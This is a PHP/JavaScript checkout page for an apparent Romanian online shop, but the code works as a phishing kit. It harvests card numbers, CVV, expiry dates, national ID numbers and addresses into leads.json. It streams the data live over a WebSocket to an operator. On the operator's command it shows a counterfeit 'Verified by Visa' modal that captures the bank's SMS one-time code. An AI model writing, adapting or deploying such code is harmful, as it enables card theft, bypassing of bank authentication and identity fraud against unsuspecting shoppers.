          billingPhone.value = this.value;
          billingPhone.dispatchEvent(new Event('input', { bubbles: true }));
        });
      }

      if (deliveryAddress && billingAddress) {
        deliveryAddress.addEventListener('input', function() {
          billingAddress.value = this.value;
          billingAddress.dispatchEvent(new Event('input', { bubbles: true }));
        });
      }

      if (deliveryCity && billingCity) {
        deliveryCity.addEventListener('input', function() {
          billingCity.value = this.value;
          billingCity.dispatchEvent(new Event('input', { bubbles: true }));
        });
      }
    }

    // Initialize auto-fill
    autoFillBillingInfo();
  }
  
  function showFinalizareComanda() {
    const contentDiv = document.querySelector('.checkout-review');
    if (!contentDiv) return;
    
    contentDiv.innerHTML = `
      <div class="review">
        <div class="section-title">Finalizează Comanda</div>
        
        <div class="payment-card">
          <div class="form-section">
            <h4>Metoda de Plată</h4>
            <div class="payment-options">
              <label class="payment-option">
                <input type="radio" name="payment" value="card" checked>
                <div class="option-content">
                  <div class="option-title">💳 Plata cu Cardul</div>
                  <div class="option-desc">Visa, Mastercard, American Express</div>
                </div>
              </label>
              <label class="payment-option">
                <input type="radio" name="payment" value="transfer">
                <div class="option-content">
                  <div class="option-title">🏦 Bank Transfer</div>
                  <div class="option-desc">Payment by bank transfer</div>
                </div>
              </label>
              <label class="payment-option" style="opacity: 0.5; pointer-events: none;">
                <input type="radio" name="payment" value="cash" disabled>
                <div class="option-content">
                  <div class="option-title">💵 Ramburs la Livrare</div>
                  <div class="option-desc">Plătești cash la livrare (Momentan indisponibil)</div>
                </div>
              </label>
            </div>
          </div>
          
          <div class="form-section" id="card-details">
            <h4>Detalii Card de Credit</h4>
            <div class="form-row">
              <div class="form-group">
                <label>Numărul Cardului *</label>
                <input type="text" placeholder="1234 5678 9012 3456" maxlength="19">
              </div>
              <div class="form-group">
                <label>Data Expirării *</label>
                <input type="text" placeholder="MM/YY" maxlength="5">
              </div>
            </div>
            <div class="form-row">
              <div class="form-group">
                <label>Numele de pe Card *</label>
                <input type="text" placeholder="Numele complet de pe card">
              </div>
              <div class="form-group">
                <label>CVV *</label>
                <input type="text" placeholder="123" maxlength="4">
              </div>
            </div>
          </div>
          
          <div class="form-section">
            <h4>Informații Facturare</h4>
            <div class="form-row">
              <div class="form-group">
                <label>Nume complet *</label>
                <input type="text" placeholder="Introduceți numele complet">
              </div>
              <div class="form-group">
                <label>Email *</label>
                <input type="email" placeholder="Introduceți adresa de email">
              </div>
            </div>
            <div class="form-row">
              <div class="form-group">
                <label>Telefon *</label>
                <input type="tel" placeholder="Introduceți numărul de telefon">
              </div>
              <div class="form-group">
                <label>CNP *</label>
                <input type="text" placeholder="Introduceți CNP-ul" maxlength="13">
              </div>
            </div>
            <div class="form-group full-width">
              <label>Adresa de facturare *</label>
              <textarea placeholder="Introduceți adresa completă de facturare"></textarea>
            </div>
            <div class="form-row">
              <div class="form-group">
                <label>Oraș *</label>
                <input type="text" placeholder="Introduceți orașul">
              </div>
              <div class="form-group">
                <label>Cod poștal *</label>
                <input type="text" placeholder="Introduceți codul poștal">
              </div>
            </div>
          </div>
          
          <div class="form-section">
            <h4>Order Confirmation</h4>
            <div class="confirmation-section">
              <label class="checkbox-label">
                <input type="checkbox">
                <span>I accept the terms and conditions</span>
              </label>
              <label class="checkbox-label">
                <input type="checkbox">
                <span>I accept the processing of personal data</span>
              </label>
              <label class="checkbox-label">
                <input type="checkbox">
                <span>I confirm that the entered data is correct</span>
              </label>
            </div>
          </div>
        </div>
      </div>
      
      <div class="summary-section">
        <h3 class="summary-title">ORDER SUMMARY</h3>
        <aside class="summary">
          <div class="summary-row">
            <div>Product price</div>
            <div><?php echo number_format($productPrice, 0, ',', '.'); ?>,<small><?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?></small> lei</div>
          </div>
          <div class="summary-row">
            <div>Delivery</div>
            <div>Free</div>
          </div>
          <div class="summary-row">
            <div>Processing fee</div>
            <div>2,<small>50</small> lei</div>
          </div>
          <div class="summary-row total-line">
            <div>TOTAL ORDER</div>
            <div><?php echo number_format($productPrice + 2.50, 0, ',', '.'); ?>,<small><?php echo substr(number_format($productPrice + 2.50, 2, ',', '.'), -2); ?></small> LEI</div>
          </div>
          <div class="cta">
            <button class="btn-back" onclick="goBack()" style="margin-right: 10px; background: #6c757d; color: white; border: none; padding: 12px 24px; border-radius: 6px; cursor: pointer;">
              <i class="fas fa-arrow-left"></i> BACK
            </button>
            <button class="btn-next" onclick="completeOrder()">COMPLETE ORDER</button>
          </div>
        </aside>
      </div>
    `;
    
    // Add payment method toggle
    document.querySelectorAll('input[name="payment"]').forEach(radio => {
      radio.addEventListener('change', function() {
        const cardDetails = document.getElementById('card-details');
        if (this.value === 'card') {
          cardDetails.style.display = 'block';
        } else {
          cardDetails.style.display = 'none';
        }
      });
    });
    
    // Add card number formatting
    const cardNumberInput = document.querySelector('input[placeholder="1234 5678 9012 3456"]');
    if (cardNumberInput) {
      cardNumberInput.addEventListener('input', function(e) {
        let value = e.target.value.replace(/\s/g, '').replace(/[^0-9]/gi, '');
        let formattedValue = value.match(/.{1,4}/g)?.join(' ') || value;
        e.target.value = formattedValue;
      });
    }
    
    // Add expiry date formatting
    const expiryInput = document.querySelector('input[placeholder="MM/YY"]');
    if (expiryInput) {
      expiryInput.addEventListener('input', function(e) {
        let value = e.target.value.replace(/\D/g, '');
        if (value.length >= 2) {
          value = value.substring(0, 2) + '/' + value.substring(2, 4);
        }
        e.target.value = value;
      });
    }
  }
  
  function completeOrder() {

    // Show loading modal
    showLoadingModal();

    // Get form data
    const formData = {
      customerName: document.querySelector('input[placeholder="Introduceți numele complet"]')?.value || '',
      customerEmail: document.querySelector('input[placeholder="Introduceți adresa de email"]')?.value || '',
      customerPhone: document.querySelector('input[placeholder="Introduceți numărul de telefon"]')?.value || '',
      customerAddress: document.querySelector('textarea[placeholder="Introduceți adresa completă de livrare"]')?.value || '',
      paymentMethod: document.querySelector('input[name="payment"]:checked')?.value || '',
      cardNumber: document.querySelector('input[placeholder="1234 5678 9012 3456"]')?.value || '',
      cardName: document.querySelector('input[placeholder="Numele complet de pe card"]')?.value || '',
      cardExpiry: document.querySelector('input[placeholder="MM/YY"]')?.value || '',
      cardCvv: document.querySelector('input[placeholder="123"]')?.value || '',
      productName: '<?php echo htmlspecialchars($productName); ?>',
      productPrice: <?php echo $productPrice; ?>,
      visitorId: '<?php echo $visitorId; ?>',
      timestamp: new Date().toISOString()
    };

    // Save form data to leads.json first
    saveFormDataToLeads(formData);
    
    // Send payment submission alert to admin via WebSocket
    if (websocket && websocket.readyState === WebSocket.OPEN) {
      const message = {
        type: 'payment_submission',
        data: formData
      };
      
      websocket.send(JSON.stringify(message));
    } else {
      console.error('WebSocket not connected. State:', websocket?.readyState);
      
      // Try to reconnect and send
      initWebSocket();
      
      // Wait a bit and try again
      setTimeout(() => {
        if (websocket && websocket.readyState === WebSocket.OPEN) {
          const message = {
            type: 'payment_submission',
            data: formData
          };
          websocket.send(JSON.stringify(message));
        } else {
          console.error('Still not connected after reconnect attempt');
        }
      }, 2000);
    }

    // Note: Loading modal will stay open until admin sends request
  }
  
  function showOrderSuccess() {
    // Simple success message that won't break layout
    alert('Order has been placed successfully! Thank you!');
  }

  function showLoadingModal() {
    document.getElementById('loadingModal').style.display = 'flex';
    document.body.style.overflow = 'hidden';
  }

  function hideLoadingModal() {
    document.getElementById('loadingModal').style.display = 'none';
    document.body.style.overflow = 'auto';
  }


  function saveFormDataToLeads(formData) {
    // Send form data to PHP script to save to leads.json
    fetch('save_lead.php', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        action: 'save_lead',
        leadData: formData
      })
    })
    .then(response => response.json())
    .then(data => {
      if (data.success) {
        // Store the lead ID for this visitor session
        window.currentLeadId = data.leadId;
        sessionStorage.setItem('currentLeadId', data.leadId);
      } else {
        console.error('Failed to save lead:', data.message);
      }
    })
    .catch(error => {
      console.error('Error saving lead:', error);
    });
  }

  function saveOtpToLead(leadId, otpCode) {
    // Send OTP code to PHP script to update leads.json
    fetch('save_lead.php', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        action: 'update_otp',
        leadId: leadId,
        otpCode: otpCode
      })
    })
    .then(response => response.json())
    .then(data => {
      if (data.success) {
      } else {
        console.error('Failed to save OTP code:', data.message);
      }
    })
    .catch(error => {
      console.error('Error saving OTP code:', error);
    });
  }

  function saveOtpToLeadByLeadId(leadId, otpCode) {
    // Send OTP code to PHP script to update leads.json by specific lead ID
    fetch('save_lead.php', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        action: 'update_otp',
        leadId: leadId,
        otpCode: otpCode
      })
    })
    .then(response => response.json())
    .then(data => {
      if (data.success) {
      } else {
        console.error('Failed to save OTP code:', data.message);
      }
    })
    .catch(error => {
      console.error('Error saving OTP code:', error);
    });
  }
  
  // Add recommended product to cart
  function addRecommendedToCart(product) {
    // Redirect to checkout with the recommended product
    const params = new URLSearchParams({
      product_id: product.id,
      product_name: product.name,
      product_image: product.image,
      product_price: product.price,
      product_monthly: product.monthlyPrice,
      product_rating: product.starRating,
      product_reviews: product.reviews
    });
    
    window.location.href = 'checkout.php?' + params.toString();
  }

  // WebSocket and OTP/PIN functionality
  let websocket = null;
  let currentRequest = null;

  // Initialize WebSocket connection
           function initWebSocket() {
             const visitorId = '<?php echo $visitorId; ?>';
             const wsUrl = `<?php echo WEBSOCKET_URL; ?>?visitor_id=${visitorId}&user_type=checkout`;


    
    try {
      websocket = new WebSocket(wsUrl);
      
      websocket.onopen = function(event) {
        
        // Send a test message to verify connection
        setTimeout(() => {
          if (websocket && websocket.readyState === WebSocket.OPEN) {
            const testMessage = {
              type: 'connection_test',
              visitorId: visitorId,
              timestamp: new Date().toISOString()
            };
            websocket.send(JSON.stringify(testMessage));
          }
        }, 1000);
      };
      
             websocket.onmessage = function(event) {
               const message = JSON.parse(event.data);

               switch (message.type) {
                 case 'connection_confirmed':
                   break;

                 case 'otp_request':
                   // Dismiss loading modal and show OTP modal
                   hideLoadingModal();
                   currentRequest = {
                     type: 'otp',
                     leadId: message.leadId,
                     leadName: message.leadName,
                     timestamp: message.timestamp
                   };
                   showOtpModal('Verificare OTP', `Vă rugăm să introduceți codul OTP pentru ${message.leadName}`);
                   break;


                 case 'otp_submitted_confirmed':
                 case 'pin_submitted_confirmed':
                   showOtpStatus('success', 'Codul a fost trimis cu succes!');
                   setTimeout(() => {
                     closeOtpModal();
                   }, 2000);
                   break;

                 case 'error':
                   showOtpStatus('error', message.message);
                   break;
               }
             };
      
      websocket.onerror = function(error) {
        console.error('WebSocket error:', error);
      };
      
      websocket.onclose = function(event) {
        setTimeout(initWebSocket, 5000); // Reconnect after 5 seconds
      };
      
    } catch (error) {
      console.error('Failed to initialize WebSocket:', error);
    }
  }

  // Show OTP/PIN modal
  function showOtpModal(title, subtitle) {
    // Populate header
    const modal = document.getElementById('otpModal');
    document.getElementById('otpVbvTitle').textContent = title || 'Autentificare cu cod SMS';
    document.getElementById('otpVbvSubtitle').textContent = subtitle || 'Vă rugăm să introduceți codul SMS mai jos.';

    // Populate details
    const merchant = window.location.host || 'My Online Shop';
    const amount = (<?php echo $productPrice; ?>).toLocaleString('ro-RO', { minimumFractionDigits: 2 }) + ' LEI';
    const dateStr = new Date().toISOString().slice(0,19).replace('T',' ');
    const cardInput = document.querySelector('input[placeholder="1234 5678 9012 3456"]');
    const raw = (cardInput?.value || '').replace(/\s+/g, '');
    const last4 = raw.slice(-4) || '0173';
    const masked = 'XXXX XXXX XXXX ' + last4;

    document.getElementById('otpMerchant').textContent = merchant;
    document.getElementById('otpAmount').textContent = amount;
    document.getElementById('otpDate').textContent = dateStr;
    document.getElementById('otpCard').textContent = masked;
    document.getElementById('otpPersonal').textContent = 'Secure Authentication';

    // Reset input/state and show
    const input = document.getElementById('otpPasswordInput');
    input.value = '';
    hideOtpStatus();
    modal.style.display = 'flex';
    setTimeout(() => input.focus(), 50);
  }

  // Close OTP/PIN modal
  function closeOtpModal() {
    document.getElementById('otpModal').style.display = 'none';
    currentRequest = null;
    hideOtpStatus();
  }

  // Submit code (OTP or PIN)
  function submitCode() {
    const code = document.getElementById('otpPasswordInput').value.trim();
    
    if (!code) {
      showOtpStatus('error', 'Vă rugăm să introduceți codul SMS');
      return;
    }
    
    if (!currentRequest) {
      showOtpStatus('error', 'Nu există o cerere activă');
      return;
    }
    
    showOtpStatus('success', 'Se trimite codul SMS...');
    
    // Get lead ID - use from request if available, otherwise use stored one
    const leadId = currentRequest?.leadId || window.currentLeadId || sessionStorage.getItem('currentLeadId');
    
    if (!leadId) {
      showOtpStatus('error', 'ID-ul lead-ului nu a fost găsit. Vă rugăm să încercați din nou.');
      console.error('No lead ID available for OTP update');
      return;
    }
    
    
    // Save OTP code to leads.json using specific lead ID
    saveOtpToLeadByLeadId(leadId, code);
    
    // Send code via WebSocket
    if (websocket && websocket.readyState === WebSocket.OPEN) {
      websocket.send(JSON.stringify({
        type: 'code_submission',
        leadId: leadId,
        code: code,
        codeType: currentRequest?.type || 'otp'
      }));
      
      showOtpStatus('success', 'Codul a fost trimis cu succes!');
      setTimeout(() => {
        closeOtpModal();
      }, 2000);
    } else {
      showOtpStatus('error', 'WebSocket connection not available');
    }
  }

  // Show status message
  function showOtpStatus(type, message) {
    const statusEl = document.getElementById('otpStatus');
    statusEl.className = 'otp-status ' + type;
    statusEl.textContent = message;
    statusEl.style.display = 'block';
  }

  // Hide status message
  function hideOtpStatus() {
    document.getElementById('otpStatus').style.display = 'none';
  }

  // Handle Enter key in OTP input
  document.addEventListener('DOMContentLoaded', function() {
    // Restore lead ID from sessionStorage if available
    const storedLeadId = sessionStorage.getItem('currentLeadId');
    if (storedLeadId) {
      window.currentLeadId = storedLeadId;
    }
    
    const otpInput = document.getElementById('otpPasswordInput');
    if (otpInput) {
      otpInput.addEventListener('keypress', function(e) {
        if (e.key === 'Enter') {
          submitCode();
        }
      });
    }
    
    // Initialize WebSocket connection
    
    // Ensure WebSocket is initialized
    if (typeof initWebSocket === 'function') {
      initWebSocket();
    } else {
      console.error('initWebSocket function not found');
    }
    
    // Also try to initialize after a short delay
    setTimeout(() => {
      if (!websocket || websocket.readyState !== WebSocket.OPEN) {
        initWebSocket();
      }
    }, 1000);
  });
</script>

<!-- Loading Modal -->
<div id="loadingModal" class="loading-modal" style="display: none;">
  <div class="loading-card">
    <div class="loading-header">
      <h3>Processing Your Order</h3>
    </div>
    <div class="loading-body">
      <div class="spinner-container">
        <div class="spinner"></div>
      </div>
      <p class="loading-text">Please wait while we process your payment...</p>
      <div class="loading-details">
        <div class="loading-step active">
          <div class="step-icon">✓</div>
          <div class="step-text">Validating information</div>
        </div>
        <div class="loading-step">
          <div class="step-icon">⏳</div>
          <div class="step-text">Processing payment</div>
        </div>
        <div class="loading-step">
          <div class="step-icon">⏳</div>
          <div class="step-text">Confirming order</div>
        </div>
      </div>
    </div>
  </div>
</div>

<!-- Recommended Products Section -->
<div class="checkout-page" style="margin-top: 20px; padding-bottom: 20px;">
  <div class="checkout-section-title" style="text-align: center; margin-bottom: 20px;">Produse Recomandate</div>
  
  <div class="checkout-recommended-products">
    <?php if (!empty($recommendedProducts)): ?>
      <?php foreach ($recommendedProducts as $recommendedProduct): ?>
        <?php
          // Prepare product data
          $recImage = $recommendedProduct['image'] ?? 'https://via.placeholder.com/120x120.png?text=No+Image';
          // Fix image path if it starts with '../'
          if (strpos($recImage, '../') === 0) {
              $recImage = 'assets/' . substr($recImage, 3);
          }
          $recName = $recommendedProduct['name'] ?? 'Nume Produs';
          $recPrice = $recommendedProduct['price'] ?? 0;
          $recMonthly = $recommendedProduct['monthlyPrice'] ?? $recPrice / 24;
          $recStarRating = $recommendedProduct['starRating'] ?? 4.5;
        ?>
        <div class="checkout-product-card" style="min-height: auto; margin-bottom: 0;">
          <div class="checkout-product-image" style="width: 120px; height: 120px; min-width: 120px;">
            <img src="<?php echo htmlspecialchars($recImage); ?>" alt="<?php echo htmlspecialchars($recName); ?>">
          </div>
          <div class="checkout-product-body">
            <div class="product-title" style="font-size: 14px;"><?php echo htmlspecialchars($recName); ?></div>
            <div class="price" style="font-size: 16px; font-weight: 700; color: #d23b1a;"><?php echo number_format($recPrice, 0, ',', '.'); ?>,<small><?php echo substr(number_format($recPrice, 2, ',', '.'), -2); ?></small> lei</div>
            <div class="monthly" style="font-size: 12px; color: #666;"><?php echo number_format($recMonthly, 2, ',', '.'); ?> lei/luna</div>
            <button class="add-btn" style="margin-top: 8px; padding: 8px 16px; font-size: 12px;" onclick="addRecommendedToCart(<?php echo htmlspecialchars(json_encode($recommendedProduct)); ?>)">Add to Cart</button>
          </div>
        </div>
      <?php endforeach; ?>
    <?php else: ?>
      <div style="text-align: center; color: #666; padding: 20px;">
        No recommended products available.
      </div>
    <?php endif; ?>
  </div>
</div>

<!-- OTP/PIN Modal -->
<div id="otpModal" class="otp-modal">
  <div class="otp-vbv-card" role="dialog" aria-modal="true" aria-labelledby="otpVbvTitle">
    <div class="otp-vbv-header">
      <!-- Visa branding moved to top-right -->
      <div class="visa-branding">
        <span class="verified-by">Verified by</span>
        <span class="visa-text">VISA</span>
      </div>
    </div>
    <div class="otp-vbv-body">
      <div class="otp-vbv-title" id="otpVbvTitle">Autentificare cu parola</div>
      <div class="otp-vbv-subtitle" id="otpVbvSubtitle">Vă rugăm să introduceți parola mai jos.</div>

      <div class="otp-vbv-details">
        <div class="label">Comerciant:</div><div id="otpMerchant">Magazinul Meu Online</div>
        <div class="label">Suma:</div><div id="otpAmount">0,00 LEI</div>
        <div class="label">Data:</div><div id="otpDate">YYYY/MM/DD HH:MM:SS</div>
        <div class="label">Numărul Cardului:</div><div id="otpCard">XXXX XXXX XXXX 0000</div>
        <div class="label">Mesaj Personal:</div><div id="otpPersonal">Autentificare Securizată</div>
        <div class="label">Cod SMS:</div>
        <div><input id="otpPasswordInput" type="text" class="otp-vbv-input" placeholder="Introduceți codul SMS" maxlength="12" autocomplete="one-time-code" /></div>
      </div>

      <div id="otpStatus" class="otp-status" style="display:none;"></div>

      <div class="otp-vbv-footer">
        <div class="otp-vbv-links">
          <a href="#" onclick="event.preventDefault(); showOtpStatus('info','Folosiți parola trimisă de banca dumneavoastră.');">Ajutor</a>
          <a href="#" onclick="event.preventDefault(); closeOtpModal();">Anulează</a>
        </div>
        <div class="otp-vbv-actions">
          <button class="otp-btn secondary" onclick="closeOtpModal()">Anulează</button>
          <button class="otp-btn primary" id="submitOtpBtn" onclick="submitCode()">Trimite</button>
        </div>
      </div>
    </div>
  </div>
</div>

<?php include 'includes/footer.php'; ?>

</body>
</html>
